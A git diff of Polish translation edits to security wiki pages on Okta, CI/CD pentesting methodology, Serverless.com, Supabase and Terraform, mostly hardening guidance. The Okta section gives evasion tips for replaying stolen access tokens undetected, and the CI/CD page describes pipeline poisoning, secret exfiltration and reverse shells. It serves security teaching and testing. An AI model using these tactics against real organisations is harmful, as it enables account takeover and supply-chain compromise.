nieznane do momentu ich napotkania, ale **omijanie** ich można osiągnąć poprzez **bezpośrednie celowanie w aplikacje Okta**, unikając głównego pulpitu nawigacyjnego Okta. Z **tokenem dostępu Okta** powtórz token na **specyficznym URL aplikacji Okta** zamiast na głównej stronie logowania. +Polityki wykrywania behawioralnego w Okta mogą być nieznane do momentu ich napotkania, ale **omijanie** ich można osiągnąć poprzez **bezpośrednie celowanie w aplikacje Okta**, unikając głównego pulpitu nawigacyjnego Okta. Z **tokenem dostępu Okta**, odtwórz token na **specyficznym URL aplikacji Okta** zamiast na głównej stronie logowania. Kluczowe zalecenia obejmują: -- **Unikaj używania** popularnych proxy anonimizujących i usług VPN podczas powtarzania przechwyconych tokenów dostępu. -- Upewnij się, że **ciąg user-agent** jest spójny między klientem a powtórzonymi tokenami dostępu. -- **Powstrzymaj się od powtarzania** tokenów od różnych użytkowników z tego samego adresu IP. -- Zachowaj ostrożność podczas powtarzania tokenów przeciwko pulpitowi nawigacyjnemu Okta. +- **Unikaj używania** popularnych proxy anonimizujących i usług VPN podczas odtwarzania przechwyconych tokenów dostępu. +- Upewnij się, że **ciąg użytkownika-agent** jest spójny między klientem a odtwarzanymi tokenami dostępu. +- **Powstrzymaj się od odtwarzania** tokenów od różnych użytkowników z tego samego adresu IP. +- Zachowaj ostrożność podczas odtwarzania tokenów przeciwko pulpitowi nawigacyjnemu Okta. - Jeśli znasz adresy IP firmy ofiary, **ogranicz ruch** do tych adresów IP lub ich zakresu, blokując cały inny ruch. ## Wzmacnianie Okta diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md index ace5f6dee..eae30096e 100644 --- a/src/pentesting-ci-cd/okta-security/okta-hardening.md +++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md @@ -33,7 +33,7 @@ Ponadto, w profilu **`User (default)`** z Okta możesz zobaczyć **które pola** Katalogi pozwalają na importowanie osób z istniejących źródeł. Przypuszczam, że tutaj zobaczysz użytkowników importowanych z innych katalogów. -Nie widziałem tego, ale przypuszczam, że to jest interesujące, aby dowiedzieć się o **innych katalogach, które Okta używa do importowania użytkowników**, więc jeśli **skomprumujesz ten katalog**, mógłbyś ustawić wartości atrybutów w użytkownikach utworzonych w Okta i **może skompromitować środowisko Okta**. +Nie widziałem tego, ale przypuszczam, że to jest interesujące, aby dowiedzieć się o **innych katalogach, które Okta używa do importowania użytkowników**, więc jeśli **skomprymujesz ten katalog**, mógłbyś ustawić niektóre wartości atrybutów w użytkownikach utworzonych w Okta i **może skompromitować środowisko Okta**. ### Profile Sources @@ -79,7 +79,7 @@ I możesz zobaczyć więcej szczegółów o aplikacji (jak funkcja ujawniania ha ### Access Certifications -Użyj Access Certifications, aby tworzyć kampanie audytowe do okresowego przeglądu dostępu użytkowników do zasobów i automatycznego zatwierdzania lub cofania dostępu, gdy jest to wymagane. +Użyj Access Certifications, aby tworzyć kampanie audytowe w celu okresowego przeglądu dostępu użytkowników do zasobów i automatycznego zatwierdzania lub cofania dostępu, gdy jest to wymagane. Nie widziałem tego używanego, ale przypuszczam, że z defensywnego punktu widzenia to ładna funkcja. @@ -114,7 +114,7 @@ Zaleca się wyłączenie telefonu. Najsilniejsze są prawdopodobnie kombinacje h Każda aplikacja ma politykę uwierzytelniania. Polityka uwierzytelniania weryfikuje, że użytkownicy, którzy próbują zalogować się do aplikacji, spełniają określone warunki, i egzekwuje wymagania dotyczące czynników w oparciu o te warunki. -Tutaj możesz znaleźć **wymagania dostępu do każdej aplikacji**. Zaleca się żądanie przynajmniej hasła i innej metody dla każdej aplikacji. Ale jeśli jako atakujący znajdziesz coś słabszego, możesz być w stanie to zaatakować. +Tutaj możesz znaleźć **wymagania dotyczące dostępu do każdej aplikacji**. Zaleca się żądanie przynajmniej hasła i innej metody dla każdej aplikacji. Ale jeśli jako atakujący znajdziesz coś słabszego, możesz być w stanie to zaatakować. ### Global Session Policy @@ -128,7 +128,7 @@ Zaleca się żądanie MFA, ograniczenie czasu trwania sesji do kilku godzin, nie Dostawcy tożsamości (IdP) to usługi, które **zarządzają kontami użytkowników**. Dodanie IdP w Okta umożliwia Twoim użytkownikom **samo-rejestrację** w Twoich niestandardowych aplikacjach, najpierw uwierzytelniając się za pomocą konta społecznościowego lub karty inteligentnej. -Na stronie dostawców tożsamości możesz dodać loginy społecznościowe (IdP) i skonfigurować Okta jako dostawcę usług (SP) poprzez dodanie SAML przychodzącego. Po dodaniu IdP możesz ustawić zasady routingu, aby kierować użytkowników do IdP w oparciu o kontekst, taki jak lokalizacja użytkownika, urządzenie lub domena e-mailowa. +Na stronie dostawców tożsamości możesz dodać loginy społecznościowe (IdP) i skonfigurować Okta jako dostawcę usług (SP), dodając SAML przychodzący. Po dodaniu IdP możesz ustawić zasady routingu, aby kierować użytkowników do IdP w oparciu o kontekst, taki jak lokalizacja użytkownika, urządzenie lub domena e-mailowa. **Jeśli jakikolwiek dostawca tożsamości jest skonfigurowany**, z perspektywy atakującego i obrońcy sprawdź tę konfigurację i **czy źródło jest naprawdę godne zaufania**, ponieważ atakujący, który je skompromituje, mógłby również uzyskać dostęp do środowiska Okta. @@ -142,7 +142,7 @@ Ponownie, sprawdź to, ponieważ atakujący, który skompromituje AD organizacji Strefa sieciowa to konfigurowalna granica, którą możesz wykorzystać do **przyznawania lub ograniczania dostępu do komputerów i urządzeń** w Twojej organizacji w oparciu o **adres IP**, który żąda dostępu. Możesz zdefiniować strefę sieciową, określając jeden lub więcej indywidualnych adresów IP, zakresy adresów IP lub lokalizacje geograficzne. -Po zdefiniowaniu jednej lub więcej stref sieciowych możesz **użyć ich w globalnych politykach sesji**, **politykach uwierzytelniania**, powiadomieniach VPN i **zasadach routingu**. +Po zdefiniowaniu jednej lub więcej stref sieciowych możesz **używać ich w globalnych politykach sesji**, **politykach uwierzytelniania**, powiadomieniach VPN i **zasadach routingu**. Z perspektywy atakującego interesujące jest wiedzieć, które adresy IP są dozwolone (i sprawdzić, czy jakieś **adresy IP są bardziej uprzywilejowane** niż inne). Z perspektywy atakującego, jeśli użytkownicy powinni uzyskiwać dostęp z konkretnego adresu IP lub regionu, sprawdź, czy ta funkcja jest używana prawidłowo. @@ -154,11 +154,11 @@ Z perspektywy atakującego interesujące jest wiedzieć, które adresy IP są do ### API -Możesz tworzyć tokeny API Okta na tej stronie i zobaczyć te, które zostały **utworzone**, ich **uprawnienia**, **czas wygaśnięcia** i **adresy URL źródłowe**. Zauważ, że tokeny API są generowane z uprawnieniami użytkownika, który utworzył token, i są ważne tylko wtedy, gdy **użytkownik**, który je utworzył, jest **aktywny**. +Możesz tworzyć tokeny API Okta na tej stronie i zobaczyć te, które zostały **utworzone**, ich **uprawnienia**, czas **wygaśnięcia** i **adresy URL źródłowe**. Zauważ, że tokeny API są generowane z uprawnieniami użytkownika, który utworzył token i są ważne tylko wtedy, gdy **użytkownik**, który je utworzył, jest **aktywny**. **Zaufane źródła** przyznają dostęp do witryn, które kontrolujesz i ufasz, aby uzyskać dostęp do Twojej organizacji Okta przez API Okta. -Nie powinno być dużo tokenów API, ponieważ jeśli ich jest dużo, atakujący mógłby spróbować uzyskać do nich dostęp i je wykorzystać. +Nie powinno być zbyt wielu tokenów API, ponieważ jeśli ich jest dużo, atakujący mógłby spróbować uzyskać do nich dostęp i je wykorzystać. ## Workflow diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index b0252088b..fd2e1be85 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -12,7 +12,7 @@ VCS oznacza **System Kontroli Wersji**, ten system pozwala deweloperom na **zarz - Gitlab - Bitbucket - Gitea -- Dostawcy chmurowi (oferują swoje własne platformy VCS) +- Dostawcy chmury (oferują swoje własne platformy VCS) ## Pipelines CI/CD @@ -30,12 +30,12 @@ Platformy, które zawierają kod źródłowy twojego projektu, zawierają wrażl - **Wycieki**: Jeśli twój kod zawiera wycieki w commitach i atakujący ma dostęp do repozytorium (ponieważ jest publiczne lub ma dostęp), może odkryć te wycieki. - **Dostęp**: Jeśli atakujący może **uzyskać dostęp do konta w platformie VCS**, może zyskać **więcej widoczności i uprawnień**. - **Rejestracja**: Niektóre platformy pozwalają tylko zewnętrznym użytkownikom na tworzenie konta. -- **SSO**: Niektóre platformy nie pozwalają użytkownikom na rejestrację, ale pozwalają każdemu na dostęp z ważnym SSO (więc atakujący mógłby użyć swojego konta github, aby się zalogować na przykład). -- **Poświadczenia**: Nazwa użytkownika + hasło, tokeny osobiste, klucze ssh, tokeny Oauth, ciasteczka... istnieje wiele rodzajów tokenów, które użytkownik mógłby ukraść, aby uzyskać dostęp do repozytorium. +- **SSO**: Niektóre platformy nie pozwalają użytkownikom na rejestrację, ale pozwalają każdemu na dostęp z ważnym SSO (więc atakujący mógłby użyć swojego konta github, aby wejść na przykład). +- **Poświadczenia**: Nazwa użytkownika + hasło, tokeny osobiste, klucze ssh, tokeny Oauth, ciasteczka... istnieje wiele rodzajów tokenów, które użytkownik mógłby ukraść, aby uzyskać dostęp do repozytorium w jakiś sposób. - **Webhooks**: Platformy VCS pozwalają na generowanie webhooków. Jeśli nie są **chronione** niewidocznymi sekretami, **atakujący może je wykorzystać**. - Jeśli nie ma sekretu, atakujący może wykorzystać webhook z platformy trzeciej. - Jeśli sekret jest w URL, dzieje się to samo i atakujący również ma sekret. -- **Kompromentacja kodu:** Jeśli złośliwy aktor ma jakiegoś rodzaju **dostęp do zapisu** w repozytoriach, może próbować **wstrzyknąć złośliwy kod**. Aby odnieść sukces, może potrzebować **obejść zabezpieczenia gałęzi**. Te działania mogą być wykonywane z różnymi celami na myśli: +- **Kompromentacja kodu:** Jeśli złośliwy aktor ma jakiś rodzaj **dostępu do zapisu** w repozytoriach, może spróbować **wstrzyknąć złośliwy kod**. Aby odnieść sukces, może potrzebować **obejść zabezpieczenia gałęzi**. Te działania mogą być wykonywane z różnymi celami na myśli: - Kompromitacja głównej gałęzi w celu **kompromitacji produkcji**. - Kompromitacja głównej (lub innych gałęzi) w celu **kompromitacji maszyn deweloperów** (ponieważ zazwyczaj wykonują testy, terraform lub inne rzeczy w repozytorium na swoich maszynach). - **Kompromitacja pipeline** (sprawdź następną sekcję). @@ -67,22 +67,22 @@ Istnieją 3 smaki PPE: ### Korzyści z Eksploatacji -Znając 3 smaki zatruwania pipeline, sprawdźmy, co atakujący mógłby uzyskać po udanej eksploatacji: +Znając 3 smaki, aby zatruć pipeline, sprawdźmy, co atakujący mógłby uzyskać po udanej eksploatacji: - **Sekrety**: Jak wspomniano wcześniej, pipeline wymagają **uprawnień** do swoich zadań (pobieranie kodu, budowanie go, wdrażanie...) i te uprawnienia są zazwyczaj **przyznawane w sekretach**. Te sekrety są zazwyczaj dostępne za pośrednictwem **zmiennych env lub plików w systemie**. Dlatego atakujący zawsze będzie próbował wyeksfiltrować jak najwięcej sekretów. - W zależności od platformy pipeline atakujący **może potrzebować określić sekrety w konfiguracji**. Oznacza to, że jeśli atakujący nie może zmodyfikować pliku konfiguracyjnego CI (**I-PPE** na przykład), może **tylko wyeksfiltrować sekrety, które ma ten pipeline**. - **Obliczenia**: Kod jest wykonywany gdzieś, w zależności od tego, gdzie jest wykonywany, atakujący może być w stanie dalej się przemieszczać. -- **Na miejscu**: Jeśli pipeline są wykonywane na miejscu, atakujący może skończyć w **wewnętrznej sieci z dostępem do większej ilości zasobów**. -- **Chmura**: Atakujący mógłby uzyskać dostęp do **innych maszyn w chmurze**, ale także mógłby **wyeksfiltrować** tokeny **ról IAM/kont serwisowych** z niej, aby uzyskać **dalszy dostęp w chmurze**. +- **Na miejscu**: Jeśli pipeline są wykonywane na miejscu, atakujący może skończyć w **wewnętrznej sieci z dostępem do większej liczby zasobów**. +- **Chmura**: Atakujący mógłby uzyskać dostęp do **innych maszyn w chmurze**, ale także mógłby **wyeksfiltrować** tokeny ról IAM/kont usługowych **z niej**, aby uzyskać **dalszy dostęp w chmurze**. - **Maszyna platformy**: Czasami zadania będą wykonywane wewnątrz **maszyn platformy pipeline**, które zazwyczaj znajdują się w chmurze z **brakiem dalszego dostępu**. - **Wybierz to:** Czasami **platforma pipeline będzie miała skonfigurowane kilka maszyn** i jeśli możesz **zmodyfikować plik konfiguracyjny CI**, możesz **wskazać, gdzie chcesz uruchomić złośliwy kod**. W tej sytuacji atakujący prawdopodobnie uruchomi powrotną powłokę na każdej możliwej maszynie, aby spróbować ją dalej wykorzystać. -- **Kompromitacja produkcji**: Jeśli jesteś wewnątrz pipeline i końcowa wersja jest budowana i wdrażana z niego, możesz **kompromitować kod, który ma być uruchamiany w produkcji**. +- **Kompromitacja produkcji**: Jeśli jesteś wewnątrz pipeline i ostateczna wersja jest budowana i wdrażana z niego, możesz **kompromitować kod, który ma być uruchamiany w produkcji**. ## Więcej istotnych informacji ### Narzędzia i Benchmarki CIS -- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) to narzędzie open-source do audytowania twojego stosu łańcucha dostaw oprogramowania pod kątem zgodności z bezpieczeństwem, oparte na nowym [**benchmarku CIS Software Supply Chain**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Audyt koncentruje się na całym procesie SDLC, gdzie może ujawnić ryzyka od czasu kodowania do czasu wdrożenia. +- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) to narzędzie open-source do audytowania twojego stosu łańcucha dostaw oprogramowania pod kątem zgodności z bezpieczeństwem, oparte na nowym [**benchmarku CIS Software Supply Chain**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Audyt koncentruje się na całym procesie SDLC, gdzie może ujawnić ryzyka od momentu kodowania do momentu wdrożenia. ### Top 10 ryzyk bezpieczeństwa CI/CD @@ -90,7 +90,7 @@ Sprawdź ten interesujący artykuł na temat 10 największych ryzyk CI/CD wedłu ### Laboratoria -- Na każdej platformie, którą możesz uruchomić lokalnie, znajdziesz, jak ją uruchomić lokalnie, aby skonfigurować ją według własnych potrzeb do testowania. +- Na każdej platformie, którą możesz uruchomić lokalnie, znajdziesz, jak uruchomić ją lokalnie, aby skonfigurować ją według własnych potrzeb do testowania. - Laboratorium Gitea + Jenkins: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) ### Narzędzia automatyczne diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md index e5ea8b046..b29eaba1d 100644 --- a/src/pentesting-ci-cd/serverless.com-security.md +++ b/src/pentesting-ci-cd/serverless.com-security.md @@ -96,7 +96,7 @@ WriteCapacityUnits: 1 Dostawca -Obiekt **Dostawca** określa dostawcę usług chmurowych (np. AWS, Azure, Google Cloud) i zawiera ustawienia konfiguracyjne związane z tym dostawcą. +Obiekt **Dostawca** określa dostawcę usług chmurowych (np. AWS, Azure, Google Cloud) i zawiera ustawienia konfiguracyjne istotne dla tego dostawcy. Zawiera szczegóły takie jak czas wykonania, region, etap i dane uwierzytelniające. ```yaml @@ -157,7 +157,7 @@ layers: Zmienne i Zmienne Niestandardowe -**Zmienne** umożliwiają dynamiczną konfigurację, pozwalając na użycie miejscowników, które są rozwiązywane w czasie wdrażania. +**Zmienne** umożliwiają dynamiczną konfigurację, pozwalając na użycie miejsc zastępczych, które są rozwiązywane w czasie wdrażania. - **Składnia:** składnia `${variable}` może odnosić się do zmiennych środowiskowych, zawartości plików lub innych parametrów konfiguracyjnych. @@ -169,7 +169,7 @@ environment: TABLE_NAME: ${self:custom.tableName} ``` -* **Zmienne Niestandardowe:** Sekcja `custom` jest używana do definiowania zmiennych i konfiguracji specyficznych dla użytkownika, które mogą być ponownie używane w całym pliku `serverless.yml`. +* **Zmienne Niestandardowe:** sekcja `custom` jest używana do definiowania zmiennych i konfiguracji specyficznych dla użytkownika, które mogą być ponownie używane w całym pliku `serverless.yml`. ```yaml custom: @@ -204,7 +204,7 @@ Fn::Join: Role i uprawnienia IAM -**Role i uprawnienia IAM** definiują dane uwierzytelniające bezpieczeństwa i prawa dostępu do Twoich funkcji i innych zasobów. Są zarządzane w ramach ustawień `provider` lub indywidualnych ustawień funkcji, aby określić niezbędne uprawnienia. +**Role i uprawnienia IAM** definiują dane uwierzytelniające bezpieczeństwa i prawa dostępu do Twoich funkcji i innych zasobów. Są zarządzane w ramach ustawień `provider` lub indywidualnych funkcji, aby określić niezbędne uprawnienia. ```yaml provider: [...] @@ -399,7 +399,7 @@ Type: String ```
-5. Samouczek prosi o utworzenie pliku `createCustomer.js`, który zasadniczo utworzy nowy punkt końcowy API obsługiwany przez nowy plik JS i prosi o modyfikację pliku `serverless.yml`, aby utworzyć **nową tabelę DynamoDB**, zdefiniować **zmienną środowiskową**, rolę, która będzie używać wygenerowanych lambd. +5. Tutorial prosi o utworzenie pliku `createCustomer.js`, który zasadniczo utworzy nowy punkt końcowy API obsługiwany przez nowy plik JS i prosi o modyfikację pliku `serverless.yml`, aby wygenerować **nową tabelę DynamoDB**, zdefiniować **zmienną środowiskową**, rolę, która będzie używać wygenerowanych lambd. {{#tabs }} {{#tab name="createCustomer.js" }} @@ -489,11 +489,11 @@ TableName: ${self:service}-customerTable-${sls:stage} ## Przegląd bezpieczeństwa Serverless.com -### **Źle skonfigurowane role i uprawnienia IAM** +### **Źle skonfigurowane role IAM i uprawnienia** Zbyt szerokie role IAM mogą przyznać nieautoryzowany dostęp do zasobów chmurowych, prowadząc do naruszeń danych lub manipulacji zasobami. -Gdy nie określono uprawnień dla funkcji Lambda, zostanie utworzona rola z uprawnieniami tylko do generowania logów, jak: +Gdy nie określono uprawnień dla funkcji Lambda, zostanie utworzona rola z uprawnieniami tylko do generowania logów, jak:
@@ -527,7 +527,7 @@ Gdy nie określono uprawnień dla funkcji Lambda, zostanie utworzona rola z upra #### **Strategie łagodzenia** -- **Zasada najmniejszych uprawnień:** Przydzielaj tylko niezbędne uprawnienia każdej funkcji. +- **Zasada najmniejszych uprawnień:** Przydzielaj tylko niezbędne uprawnienia do każdej funkcji. ```yaml provider: @@ -545,7 +545,7 @@ Action: Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} ``` -- **Używaj oddzielnych ról:** Rozróżniaj role na podstawie wymagań funkcji. +- **Używaj oddzielnych ról:** Rozróżniaj role w zależności od wymagań funkcji. --- @@ -553,10 +553,10 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}- Przechowywanie wrażliwych informacji (np. kluczy API, poświadczeń bazy danych) bezpośrednio w **`serverless.yml`** lub kodzie może prowadzić do ujawnienia, jeśli repozytoria zostaną skompromitowane. -Zalecanym sposobem przechowywania zmiennych środowiskowych w pliku **`serverless.yml`** z serverless.com (w momencie pisania tego tekstu) jest użycie dostawców `ssm` lub `s3`, co pozwala na pobranie **wartości środowiskowych z tych źródeł w czasie wdrażania** i **konfigurowanie** zmiennych środowiskowych **lambd** z **czystym tekstem wartości**! +Zalecanym sposobem przechowywania zmiennych środowiskowych w pliku **`serverless.yml`** z serverless.com (w momencie pisania tego tekstu) jest użycie dostawców `ssm` lub `s3`, co pozwala na pobranie **wartości środowiskowych z tych źródeł w czasie wdrażania** i **konfigurowanie** zmiennych środowiskowych **lambdas** z **czystym tekstem wartości**! > [!OSTRZEŻENIE] -> Dlatego każdy, kto ma uprawnienia do odczytu konfiguracji lambd w AWS, będzie mógł **uzyskać dostęp do wszystkich tych zmiennych środowiskowych w czystym tekście!** +> Dlatego każdy, kto ma uprawnienia do odczytu konfiguracji lambdas w AWS, będzie mógł **uzyskać dostęp do wszystkich tych zmiennych środowiskowych w czystym tekście!** Na przykład, poniższy przykład użyje SSM do pobrania zmiennej środowiskowej: ```yaml @@ -564,7 +564,7 @@ provider: environment: DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true} ``` -I nawet jeśli to zapobiega twardemu kodowaniu wartości zmiennej środowiskowej w pliku **`serverless.yml`**, wartość zostanie uzyskana w czasie wdrażania i będzie **dodana w postaci czystego tekstu wewnątrz zmiennej środowiskowej lambda**. +I nawet jeśli to zapobiega twardemu kodowaniu wartości zmiennej środowiskowej w pliku **`serverless.yml`**, wartość ta zostanie uzyskana w czasie wdrażania i będzie **dodana w postaci czystego tekstu wewnątrz zmiennej środowiskowej lambda**. > [!TIP] > Zalecanym sposobem przechowywania zmiennych środowiskowych przy użyciu serveless.com byłoby **przechowywanie ich w tajemnicy AWS** i po prostu przechowywanie nazwy tajemnicy w zmiennej środowiskowej, a **kod lambda powinien ją zebrać**. @@ -592,7 +592,7 @@ plugins: ``` - **Walidacja Danych Wejściowych:** Wprowadź ścisłą walidację i sanitację wszystkich danych wejściowych. -- **Przeglądy Kodów:** Przeprowadzaj dokładne przeglądy, aby zidentyfikować wady bezpieczeństwa. +- **Przeglądy Kodu:** Przeprowadzaj dokładne przeglądy, aby zidentyfikować wady bezpieczeństwa. - **Analiza Statyczna:** Użyj narzędzi do wykrywania luk w kodzie. --- @@ -635,7 +635,7 @@ method: get authorizer: aws_iam ``` -- **Ograniczenie Ruchu i Throttling:** Zapobiegaj nadużyciom, ograniczając szybkość żądań. +- **Ograniczenie Ruchu i Throttling:** Zapobiegaj nadużyciom, ograniczając tempo żądań. ```yaml provider: @@ -673,7 +673,7 @@ Wspólne zasoby i niewystarczająca izolacja mogą prowadzić do eskalacji upraw - **Izoluj Funkcje:** Przypisz odrębne zasoby i role IAM, aby zapewnić niezależne działanie. - **Podział Zasobów:** Użyj oddzielnych baz danych lub koszyków do przechowywania dla różnych funkcji. -- **Użyj VPC:** Wdrażaj funkcje w Wirtualnych Chmurach Prywatnych dla lepszej izolacji sieci. +- **Użyj VPC:** Wdrażaj funkcje w Wirtualnych Prywatnych Chmurach dla lepszej izolacji sieci. ```yaml provider: @@ -690,7 +690,7 @@ subnetIds: ### **Niewystarczająca Ochrona Danych** -Nieszyfrowane dane w spoczynku lub w tranzycie mogą być narażone, prowadząc do naruszeń danych lub manipulacji. +Niezaszyfrowane dane w spoczynku lub w tranzycie mogą być narażone, prowadząc do naruszeń danych lub manipulacji. #### **Strategie łagodzenia** @@ -718,7 +718,7 @@ Szczegółowe komunikaty o błędach mogą ujawniać wrażliwe informacje o infr #### **Strategie łagodzenia** -- **Ogólne Komunikaty o Błędach:** Unikaj ujawniania wewnętrznych szczegółów w odpowiedziach błędów. +- **Ogólne Komunikaty o Błędach:** Unikaj ujawniania wewnętrznych szczegółów w odpowiedziach o błędach. ```javascript javascriptCopy code// Przykład w Node.js @@ -742,20 +742,20 @@ body: JSON.stringify({ message: 'Internal Server Error' }), ### **Niezabezpieczone Praktyki Wdrażania** -Ujawione konfiguracje wdrożeniowe lub nieautoryzowany dostęp do pipeline'ów CI/CD mogą prowadzić do złośliwych wdrożeń kodu lub błędnych konfiguracji. +Ujawniłe konfiguracje wdrożeniowe lub nieautoryzowany dostęp do pipeline'ów CI/CD mogą prowadzić do złośliwych wdrożeń kodu lub błędnych konfiguracji. #### **Strategie łagodzenia** - **Zabezpiecz Pipeline'y CI/CD:** Wprowadź ścisłe kontrole dostępu, uwierzytelnianie wieloskładnikowe (MFA) i regularne audyty. - **Przechowuj Konfigurację Bezpiecznie:** Utrzymuj pliki wdrożeniowe wolne od twardo zakodowanych tajemnic i wrażliwych danych. - **Użyj Narzędzi Bezpieczeństwa Infrastruktury jako Kodu (IaC):** Wykorzystaj narzędzia takie jak **Checkov** lub **Terraform Sentinel** do egzekwowania polityk bezpieczeństwa. -- **Niezmienność Wdrożeń:** Zapobiegaj nieautoryzowanym zmianom po wdrożeniu, przyjmując praktyki niezmiennej infrastruktury. +- **Niezmienne Wdrożenia:** Zapobiegaj nieautoryzowanym zmianom po wdrożeniu, przyjmując praktyki niezmiennej infrastruktury. --- ### **Luki w Wtyczkach i Rozszerzeniach** -Używanie nieweryfikowanych lub złośliwych wtyczek stron trzecich może wprowadzać luki w aplikacjach serverless. +Używanie nieweryfikowanych lub złośliwych wtyczek stron trzecich może wprowadzać luki do aplikacji serverless. #### **Strategie łagodzenia** @@ -774,7 +774,7 @@ Funkcje dostępne publicznie lub nieograniczone API mogą być wykorzystywane do - **Ogranicz Dostęp do Funkcji:** Użyj VPC, grup zabezpieczeń i reguł zapory, aby ograniczyć dostęp do zaufanych źródeł. - **Wprowadź Solidne Uwierzytelnianie:** Upewnij się, że wszystkie ujawnione punkty końcowe wymagają odpowiedniego uwierzytelnienia i autoryzacji. -- **Bezpiecznie Używaj Bramek API:** Skonfiguruj bramki API, aby egzekwować polityki bezpieczeństwa, w tym walidację danych wejściowych i ograniczenie szybkości. +- **Bezpiecznie Używaj Bramek API:** Skonfiguruj bramki API, aby egzekwować polityki bezpieczeństwa, w tym walidację danych wejściowych i ograniczenie tempa. - **Wyłącz Nieużywane Punkty Końcowe:** Regularnie przeglądaj i wyłączaj wszelkie punkty końcowe, które nie są już używane. --- @@ -803,7 +803,7 @@ Przyznawanie nadmiernych uprawnień członkom zespołu i zewnętrznym współpra 2. **Niezabezpieczone Przechowywanie:** - Przechowywanie kluczy w postaci tekstu jawnego w zmiennych środowiskowych lub plikach konfiguracyjnych bez odpowiedniego szyfrowania zwiększa prawdopodobieństwo wycieku. 3. **Niewłaściwa Dystrybucja:** -- Udostępnianie kluczy przez niezabezpieczone kanały (np. e-mail, czat) może skutkować przechwyceniem przez złośliwych aktorów. +- Udostępnianie kluczy przez niezabezpieczone kanały (np. e-mail, czat) może skutkować ich przechwyceniem przez złośliwych aktorów. 4. **Brak Rotacji:** - Nieregularna rotacja kluczy wydłuża okres narażenia, jeśli klucze zostaną skompromitowane. 5. **Nadmierne Uprawnienia:** diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md index 6cd46e961..0e9e8cedd 100644 --- a/src/pentesting-ci-cd/supabase-security.md +++ b/src/pentesting-ci-cd/supabase-security.md @@ -15,7 +15,7 @@ Zasadniczo, gdy projekt jest tworzony, użytkownik otrzymuje subdomenę supabase > [!TIP] > **Te dane można uzyskać z linku takiego jak `https://supabase.com/dashboard/project//settings/database`** -Ta **baza danych** będzie wdrożona w jakimś regionie AWS, a aby się z nią połączyć, można to zrobić, łącząc się z: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (zostało to utworzone w us-west-1).\ +Ta **baza danych** będzie wdrożona w jakimś regionie AWS, a aby się z nią połączyć, można to zrobić, łącząc się z: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (została utworzona w us-west-1).\ Hasło to **hasło, które użytkownik wprowadził** wcześniej. Dlatego, ponieważ subdomena jest znana i jest używana jako nazwa użytkownika, a regiony AWS są ograniczone, może być możliwe, aby spróbować **brute force hasła**. @@ -33,7 +33,7 @@ Ta sekcja zawiera również opcje do: > [!TIP] > **Te dane można uzyskać z linku takiego jak `https://supabase.com/dashboard/project//settings/api`** -URL do uzyskania dostępu do API supabase w Twoim projekcie będzie wyglądał jak: `https://jnanozjdybtpqgcwhdiz.supabase.co`. +URL do uzyskania dostępu do API supabase w Twoim projekcie będzie wyglądał tak: `https://jnanozjdybtpqgcwhdiz.supabase.co`. ### anon klucze API @@ -138,7 +138,7 @@ Możliwe jest ustawienie SMTP do wysyłania e-maili. ### Ustawienia zaawansowane - Ustaw czas wygaśnięcia dla tokenów dostępu (3600 domyślnie) -- Ustaw wykrywanie i unieważnianie potencjalnie skompromitowanych tokenów odświeżania i czas oczekiwania +- Ustaw wykrywanie i unieważnianie potencjalnie skompromitowanych tokenów odświeżania oraz czas oczekiwania - MFA: Wskaź, ile czynników MFA może być zarejestrowanych jednocześnie na użytkownika (10 domyślnie) - Maksymalna liczba bezpośrednich połączeń z bazą danych: Maksymalna liczba połączeń używanych do uwierzytelniania (10 domyślnie) - Maksymalny czas trwania żądania: Maksymalny czas, jaki może trwać żądanie uwierzytelnienia (10s domyślnie) @@ -146,7 +146,7 @@ Możliwe jest ustawienie SMTP do wysyłania e-maili. ## Przechowywanie > [!TIP] -> Supabase pozwala **przechowywać pliki** i udostępniać je za pośrednictwem URL (używa koszyków S3). +> Supabase pozwala **przechowywać pliki** i udostępniać je przez URL (używa koszyków S3). - Ustaw limit rozmiaru pliku do przesłania (domyślnie 50MB) - Połączenie S3 jest podawane za pomocą URL, takiego jak: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3` diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index f765cb4ee..766a2aad9 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -6,7 +6,7 @@ [Z dokumentacji:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraform to **narzędzie infrastruktury jako kod**, które pozwala definiować zarówno **zasoby w chmurze, jak i lokalne** w czytelnych dla człowieka plikach konfiguracyjnych, które można wersjonować, ponownie używać i udostępniać. Możesz następnie używać spójnego przepływu pracy do provisionowania i zarządzania całą swoją infrastrukturą przez cały jej cykl życia. Terraform może zarządzać komponentami niskiego poziomu, takimi jak zasoby obliczeniowe, pamięci masowej i sieciowe, a także komponentami wysokiego poziomu, takimi jak wpisy DNS i funkcje SaaS. +HashiCorp Terraform to **narzędzie infrastruktury jako kod**, które pozwala definiować zarówno **zasoby w chmurze, jak i lokalne** w czytelnych dla człowieka plikach konfiguracyjnych, które można wersjonować, ponownie używać i udostępniać. 